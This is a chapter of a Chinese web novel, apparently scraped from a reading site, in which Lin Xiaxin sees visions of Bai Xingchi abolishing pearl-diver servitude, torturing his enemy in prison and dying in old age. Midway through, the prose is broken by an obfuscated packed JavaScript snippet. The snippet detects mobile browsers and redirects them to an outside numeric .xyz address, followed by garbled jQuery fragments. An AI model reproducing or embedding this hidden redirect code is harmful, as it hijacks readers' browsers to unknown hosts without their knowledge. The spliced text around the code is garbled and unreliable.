那些皮肤黝黑、面色麻木的采珠人们正扛着采珠篮,沉默地站成了十几排,任由几个官兵上下搜身,或是像对牲口一样掰开他们的嘴巴查看。
还有其他采珠人不断从四处往这里聚集过来。
一个官兵则挎刀站在前面点着名册。
林夏心会知道采珠人还是因为白行迟。
前世,她和白行迟有一次经过海边,那里恰有个珠寨。
她看见有个衣衫褴褛的小少年在被两个官兵用鞭子毒打。
“没用的东西!我打死你!”
鞭子“啪啪啪”落在他单薄的身上,带出道道血痕,他却只麻木地侧躺在地上用手护住头,不见躲闪挣扎。
那个少年才那么丁点大,身上瘦得没剩几两肉,哪经得住被官兵这样往死里打?
没挨几下,他便浑身是血,晕死过去。
可那两个官兵还在用力挥鞭,毫不留情。
“我抽死你!抽死你!”
林夏心实在看不过去,上前救下了那个少年,这才知道他不过是因为今天下海没捞到珍珠,便要遭受这样的毒打。
难道一条命还抵不过一颗珠子?
她想带走那个少年,却被告知说他世代在这珠寨为奴,无法脱籍带走。
回程路上她心里很是不得劲,因为她看到整个珠寨里还有很多很多像小少年一样的人,他们如同牲口一般被对待,麻木地活着。
她很清楚,今天她虽然暂时救下了小少年,但改变不了他的命运,更没法救下珠寨的所有人。
或许,还有很多很多的珠寨,还有很多很多这样的少年。
“采珠人?”
“嗯,”白行迟的表情隐忍而克制,“他们一生都要被困在这里,从小学习憋气负重,无论寒冬酷暑都需要下海采珠。
他们不能接受教育,不得随意脱离户籍,子孙后代也需要世袭采珠。”
林夏心听得心情愈发沉重,她不解:“没有人为采珠人发声吗?这样残忍的制度就应该被废除!”
“自是有人发声,但他们的声音抵不过人性对钱财利禄的贪婪,”白行迟冷然,“这些珍珠,大多数都是敬献给盛京权贵的。圣上曾经主张废除此制度,却遭到了各路世家和权贵的极大阻力,最终只得不了了之。”
果真是“一颗鲛人泪,万千珠奴血”。
此刻林夏心在这幻境中再次看到采珠人,心情很是复杂。
“听说今日有大官要来!”
“来这里做什么?”
“来这里还能做什么?要么抓人,要么选珠呗!”
几个后排的采珠人窃窃私语,他们的面目看着还非常年轻,尚没有被这残酷的生活磨平热情。
不多时。
“吱呀吱呀——”
一辆朴实的马车碾过卵石地,缓缓在空地前停下。
灰布帘掀开,林夏心看见白行迟踏着木梯而下,走到采珠人和官兵面前。
他看着已经五十多岁了,却仍身形挺拔,步履矫健。
他从容地展开手中卷轴,字句清晰地朗声读道:“诸州府知悉,查沿海珠户采珠之役,沿习日久,弊端丛生……(巴拉巴拉)
……今革除旧制,永废采珠之役。”
清朗的声音撞在工棚上,又反弹回来,落入每个人耳中。
“珠户转渔业,也可自行择业,免三年课税……(巴拉巴拉)
此新政自颁布之日起施行,各州府须严令遵行,不得有误。布告天下,咸使闻知!”
白行迟读到这句时,卷轴被风轻轻掀起了一角。
人群里传出轻轻的抽气声,随后爆发出一阵阵此起彼伏的欢呼!
然后呼啦啦跪倒一片!
“苍天开眼了!”
“谢圣上!圣上英明!”
“我的孩子终于不用再采珠了!”
“谢谢白丞相!白丞相长命百岁!”
一时之间,说什么的都有,他们此时此刻已经被这巨大的惊喜冲击得语无伦次了。
有一些耳膜破裂、再也听不到声音的采珠人则仍是一脸茫然,直到边上的人连比带划告诉他们这个好消息,他们的眼睛才逐渐亮了起来。
白行迟亲自宣读完新政,阖上卷轴,含笑看着眼前喜极而泣的采珠人们。
眼含欣慰。
眼神中有一种对故人的怀念。
林夏心在一旁看着这一幕,心中五味杂陈。
她知道要废除这个制度有多么不易。
她完全能想象得出来,白行迟是如何在朝堂中数年谋划,舌战群儒,历经诸多难关,然后力排众议,最终联合皇帝的力量,才得以推出了这个新政。
白行迟,谢谢你还记得这些可怜的底层百姓,记得自己的初心。
林夏心还沉浸在感动和喜悦中,可这个不知是幻境还是真实的世界,并不愿意给她时间感怀,眼前的景象又变了。
这次的景象与前几次的完全平静完全不同。
这里是诏狱的入口,她听见下面隐约传来了白行迟的声音。
她想都没想就直接往里面冲进去,却被一股很大的力道给挡了回来。
“啪——!”
“啪——!!”
“啪——!!!”
鞭子抽在身上的声音已经持续一刻多钟了,还不见停下来的意思。
林夏心心中焦急,她的意识在诏狱入口飘过来飘过去,时不时去撞几下,但就是进不去。
好在此时白行迟不带感情的声音传了出来:“藏得深有什么用,生不如死的感觉怎么样?”
对面没有声音。
白行迟冷笑一声,眼神中满是冰冷刺骨的寒意。
“呵。”
倘若眼神能杀人,对面那人恐怕已经死了千次万次。
“别急,你还有三百六十刀的凌迟没开始呢。”
“你……”一道沙哑得不成样子的声音传了出来,听不出年龄,只能分辨出是个男人。
“啊——!!!!!”惨叫声传来。
“你……啊——!!!!”剧烈的挣扎带来了阵阵的铁链撞击声。
白行迟无动于衷,他的声音依旧平静无波:“当初你害死我父亲、弟弟、还有三十万白家军的时候,你害死林丞相一家、害死她的时候……”
他突然大吼出声:“就没有想过会有这一天吗?!!”
“啊——!!!!”极度的痛苦让对面那人嘶吼起来。
“杀了我!求你杀了我!!”
白行迟轻笑一声,声音又恢复平静:“杀了你?当然可以,但不是现在。”
“现在,”他的声音依旧清冷好听,却冷得似淬了毒,“你就好好享受属于你的凌迟吧……”
说罢,一阵脚步声从诏狱下面响起,缓缓朝入口而来。
阵阵的惨叫声被他留在了身后,不再理会。
“嘀嗒——”
天上开始落下雨滴,一开始只是细小的水珠,渐渐地,雨滴如断了线的珠子,急促地敲打着地面。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445635|185089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
像是忍了很久的天空终于释放出了它浓烈的情绪。
林夏心看见两鬓斑白的白行迟,从诏狱中背着手慢慢走了出来。
看着已有花甲了。
他没有上马车,拒绝了随从打起的伞,一个人静静踱步在这瓢泼大雨里。
他嘴角带着淡笑,眼中却溢着悲伤。
抬起头,白行迟闭上眼睛,让雨水淋在脸上身上,让人看不出他脸上的水是雨还是泪。
“阿心,我好没用,到今天才手刃了仇人。”
“你在那里,”他的声音带上了一点哽咽,“冷不冷?”
林夏心感受到了白行迟的悲伤,她陪着他一直走了很久。
“阿心,你知道吗,原来他们也是帮凶。
但你放心,他们,一个都跑不了。
阿心,若有来生,我……”
还没等白行迟说完,林夏心的意识就又被扯走了。
林夏心:“……”
悲伤的情绪就这么被突然打断。
心情忽上忽下的。
这什么破幻境!做梦都不让人做完!
不过林夏心已经很习惯了,她熟练地环顾四周,判断出这是在一个男人的卧房里。
可当她看见床上躺着的男人时,瞳孔忍不住骤缩了一下。
那人头发花白,面如金纸。
周围有不少人围着他,皆是眼圈通红。
床上的男人已经交代完了后事,他抬眸望向虚空,自言自语:“我这一生……护卫家国,心系百姓,无愧于天地……若有……功德,我愿用这功德……换与她……来世重逢……护她……一世安稳……”
林夏心好像看见,一道极淡极淡的金光“簌”得一下射进了他的眉心,然后氤氲开来。
他明明已经看不清楚东西了,可当林夏心出现的那一瞬,他似有所感,浑浊的双眼努力朝她这里看了过来。
他颤巍巍地伸出枯瘦的右手,呢喃道:“阿心……可是你来接我了……”
林夏心在意识中唤道:“白行迟。”
白行礼浑浊的眸子微微亮了一下:“我听到了……你……等我……”
林夏心上前想握住,意识却从这枯槁的手中直直穿过,那只手也无力地落了下去。
房中响起悲恸的哭声。
林夏心一遍遍告诉自己这不是现实,但是这些场景实在太过真实了。
无论是白行迟的悲伤,还是采珠人的欢呼,抑或是诏狱中男人的惨叫,甚至房中的浓郁酒香,海边咸腥味的海风,还有天上落下的冰冷大雨,都在明明白白地告诉她,这些不是假的。
可这些又怎么可能会是真的?
她的脑子乱糟糟的。
到底什么是真,什么是假?
等等……
她怎么突然想不起来自己为什么会出现在这里了?
她之前在做什么来着?
她在……
哦对,她是来救白行迟的,她还在救白行迟的路上啊!
那白行迟呢?
白行迟去哪儿了?
哦……对……
白行迟不就在这里吗……
找白行迟,她得去刚才那几个地方继续找白行迟。
二十几岁的白行迟。
三十几岁的白行迟。
还有四十多五十多六十多七十多的白行迟。
都在这里啊!
可,她怎么好像突然忘了什么。
到底忘了什么呢……